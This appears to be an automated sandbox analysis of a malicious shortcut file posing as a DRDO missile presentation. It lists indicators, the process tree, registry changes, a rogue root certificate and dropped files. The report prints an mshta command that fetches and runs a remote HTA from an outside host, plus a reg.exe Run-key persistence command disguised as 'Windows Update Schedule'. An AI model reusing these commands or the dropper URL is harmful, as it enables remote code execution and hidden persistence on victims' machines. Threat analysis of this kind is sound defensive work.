9aed0c5a047959ef38ec0555ccb647688c67557a6f8f60f691ab0ec096833cce

Analysis

max time kernel
40s
max time network
104s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
10-03-2023 12:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DRDO-K4-Missile-Clean-room/DRDO - K4 Missile Clean room.pptx.lnk
Size

70KB
MD5

ab11b91f97d7672da1c5b42c9ecc6d2e
SHA1

feeadc91373732d65883c8351a6454a77a063ff5
SHA256

a2e55cbd385971904abf619404be7ee8078ce9e3e46226d4d86d96ff31f6bb9a
SHA512

d788a83a323d04b9c43328d36adcc2ffc3b7fd52e1bdec3f7bbd7c9c14bb66d75003ea8df5a9ba60b798f5aacbfb684a4955c0b806347b1809f7290e75b826d9
SSDEEP

1536:ENN7MHOvYUpOQH8a8U2OPzCSyfU4YoBJrOZwHPnlThtIApDkU:hHOvY548a8Uxm5sx4JrOZIPlTHL

Score

10^/10

persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://cornerstonebeverly.org/js/files/docufentososo/doecumentosoneso

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
4	1484	mshta.exe
6	1484	mshta.exe
8	1484	mshta.exe
10	1484	mshta.exe
11	1484	mshta.exe
12	1484	mshta.exe
13	1484	mshta.exe
14	1484	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2020	cridviz.exe

Loads dropped DLL 2 IoCs

pid	Process
1048	mshta.exe
2020	cridviz.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Schedule = "C:\\Users\\Public\\hp\\cridviz.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 11 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1868	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1048	mshta.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	mshta.exe
Token: SeDebugPrivilege	1048	mshta.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1868	POWERPNT.EXE

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 1484	1148	cmd.exe	29
PID 1148 wrote to memory of 1484	1148	cmd.exe	29
PID 1148 wrote to memory of 1484	1148	cmd.exe	29
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1484 wrote to memory of 1868	1484	mshta.exe	32
PID 1868 wrote to memory of 1804	1868	POWERPNT.EXE	33
PID 1868 wrote to memory of 1804	1868	POWERPNT.EXE	33
PID 1868 wrote to memory of 1804	1868	POWERPNT.EXE	33
PID 1868 wrote to memory of 1804	1868	POWERPNT.EXE	33
PID 1484 wrote to memory of 1048	1484	mshta.exe	34
PID 1484 wrote to memory of 1048	1484	mshta.exe	34
PID 1484 wrote to memory of 1048	1484	mshta.exe	34
PID 1484 wrote to memory of 1048	1484	mshta.exe	34
PID 1048 wrote to memory of 340	1048	mshta.exe	37
PID 1048 wrote to memory of 340	1048	mshta.exe	37
PID 1048 wrote to memory of 340	1048	mshta.exe	37
PID 1048 wrote to memory of 340	1048	mshta.exe	37
PID 340 wrote to memory of 1824	340	cmd.exe	39
PID 340 wrote to memory of 1824	340	cmd.exe	39
PID 340 wrote to memory of 1824	340	cmd.exe	39
PID 340 wrote to memory of 1824	340	cmd.exe	39
PID 1048 wrote to memory of 2020	1048	mshta.exe	40
PID 1048 wrote to memory of 2020	1048	mshta.exe	40
PID 1048 wrote to memory of 2020	1048	mshta.exe	40
PID 1048 wrote to memory of 2020	1048	mshta.exe	40

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DRDO-K4-Missile-Clean-room\DRDO - K4 Missile Clean room.pptx.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://cornerstonebeverly.org/js/files/docufentososo/doecumentosoneso
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  - Modifies system certificate store
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DRDO - K4 Missile Clean room.pptx"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      4⤵
      PID:1804
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\HP\jquery.hta"
    3⤵
    - Loads dropped DLL
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\test.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:340
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Update Schedule" /t REG_SZ /F /D "C:\Users\Public\hp\cridviz.exe"
        5⤵
        Adds Run key to start application
        
        PID:1824
  - - C:\Users\Public\hp\cridviz.exe
      "C:\Users\Public\hp\cridviz.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\HP\jquery.hta

Filesize
177KB

MD5
036da574b5967c71951f4e14d000398c

SHA1
e612dbb34e01b41e46359019db9340e17e0390b8

SHA256
85faf414ed0ba9c58b9e7d4dc7388ba5597598c93b701d367d8382717fb485ec

SHA512
1afbfd044a039109d5d5f8f451307fdb83f66128c5b33d06c3685aabb2efbf97009680128b2f9e901b43d2f852d615e25c8012b6e7c67cbdaca7fe43c5945955

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
e71c8443ae0bc2e282c73faead0a6dd3

SHA1
0c110c1b01e68edfacaeae64781a37b1995fa94b

SHA256
95b0a5acc5bf70d3abdfd091d0c9f9063aa4fde65bd34dbf16786082e1992e72

SHA512
b38458c7fa2825afb72794f374827403d5946b1132e136a0ce075dfd351277cf7d957c88dc8a1e4adc3bcae1fa8010dae3831e268e910d517691de24326391a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\DRDO - K4 Missile Clean room.pptx

Filesize
1.6MB

MD5
24f210da9fb419ea30c2d435a3dfd469

SHA1
7143a1071708fdc4be06b0b8f5fdcb66ec8d8f93

SHA256
b9514ed1566c8ce46ab5bfd665f8b997f2d5624740f298699df43bb108e08c4d

SHA512
77944b204b644c2b74b3f6deb5f78229ac78bb4bebc19e6ffb65db1003773b2373ec4cd6255914d397bc4a797c2014804e297efd25845aebaa5492574a453a84

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar30F8.tmp

Filesize
161KB

MD5
be2bec6e8c5653136d3e72fe53c98aa3

SHA1
a8182d6db17c14671c3d5766c72e58d87c0810de

SHA256
1919aab2a820642490169bdc4e88bd1189e22f83e7498bf8ebdfb62ec7d843fd

SHA512
0d1424ccdf0d53faf3f4e13d534e12f22388648aa4c23edbc503801e3c96b7f73c7999b760b5bef4b5e9dd923dffe21a21889b1ce836dd428420bf0f4f5327ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\test.bat

Filesize
151B

MD5
05f9ac07249121d89cd4416ef466671c

SHA1
1e35984ccc3f685d05996a9383b0dfa297bfa571

SHA256
f0cc9b18ba32f95085d5f9a3539dc08832c19e7d3124a5febbdc3bae47deab24

SHA512
456c0133e5ecbc25137fa2bdcf524947cd5afb976a872279f4ba30ae3d64a0af0049b163f2319587f4cbf54a5d1b60943f4bd16528e3343af6e6e6fcf0133aa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\test.bat

Filesize
151B

MD5
05f9ac07249121d89cd4416ef466671c

SHA1
1e35984ccc3f685d05996a9383b0dfa297bfa571

SHA256
f0cc9b18ba32f95085d5f9a3539dc08832c19e7d3124a5febbdc3bae47deab24

SHA512
456c0133e5ecbc25137fa2bdcf524947cd5afb976a872279f4ba30ae3d64a0af0049b163f2319587f4cbf54a5d1b60943f4bd16528e3343af6e6e6fcf0133aa1

Download Submit
C:\Users\Public\hp\DUser.dll

Filesize
226KB

MD5
2e19b7a2bbdc8082024d259e27e86911

SHA1
3c4c8cbab1983c775e6a76166f7b3c84dde8c8c5

SHA256
865e041b41b9c370a4eed91a9a407bd44a94e16e236e07be05e87de319a4486c

SHA512
9e87e0a1bb0181a0f705bd2dff6d092e4355c2ee1e689d98f642fc9529f07f3f6de68cd376afea901e90dd784de9b1b1bcb4144eba88a90297b6c6cdd2203703

Download Submit
C:\Users\Public\hp\cridviz.exe

Filesize
27KB

MD5
15cf85c3d904a7d8650164b0b831a318

SHA1
4d160e93273ac909fe2aa0ee9d25c905dec43082

SHA256
17eabfb88a164aa95731f198bd69a7285cc7f64acd7c289062cd3979a4a2f5bf

SHA512
c4c86f2d1665c9b7d7a5fa6ce53bb67df9ba0e8448c310b833fbcb6da42cccaa8e43b36f8d8a79c82f689fbf2ea2ce5a3294c8f96c3099f4239c968f956e1d4f

Download Submit
\Users\Public\hp\DUser.dll

Filesize
226KB

MD5
2e19b7a2bbdc8082024d259e27e86911

SHA1
3c4c8cbab1983c775e6a76166f7b3c84dde8c8c5

SHA256
865e041b41b9c370a4eed91a9a407bd44a94e16e236e07be05e87de319a4486c

SHA512
9e87e0a1bb0181a0f705bd2dff6d092e4355c2ee1e689d98f642fc9529f07f3f6de68cd376afea901e90dd784de9b1b1bcb4144eba88a90297b6c6cdd2203703

Download Submit
\Users\Public\hp\cridviz.exe

Filesize
27KB

MD5
15cf85c3d904a7d8650164b0b831a318

SHA1
4d160e93273ac909fe2aa0ee9d25c905dec43082

SHA256
17eabfb88a164aa95731f198bd69a7285cc7f64acd7c289062cd3979a4a2f5bf

SHA512
c4c86f2d1665c9b7d7a5fa6ce53bb67df9ba0e8448c310b833fbcb6da42cccaa8e43b36f8d8a79c82f689fbf2ea2ce5a3294c8f96c3099f4239c968f956e1d4f

Download Submit
memory/1048-163-0x0000000003830000-0x000000000383A000-memory.dmp

Filesize
40KB

Download
memory/1048-165-0x0000000007470000-0x00000000074B0000-memory.dmp

Filesize
256KB

Download
memory/1484-151-0x0000000006120000-0x00000000061A0000-memory.dmp

Filesize
512KB

Download
memory/1484-149-0x0000000006120000-0x00000000061A0000-memory.dmp

Filesize
512KB

Download
memory/1484-147-0x0000000003B80000-0x0000000003B88000-memory.dmp

Filesize
32KB

Download
memory/1868-150-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1868-162-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download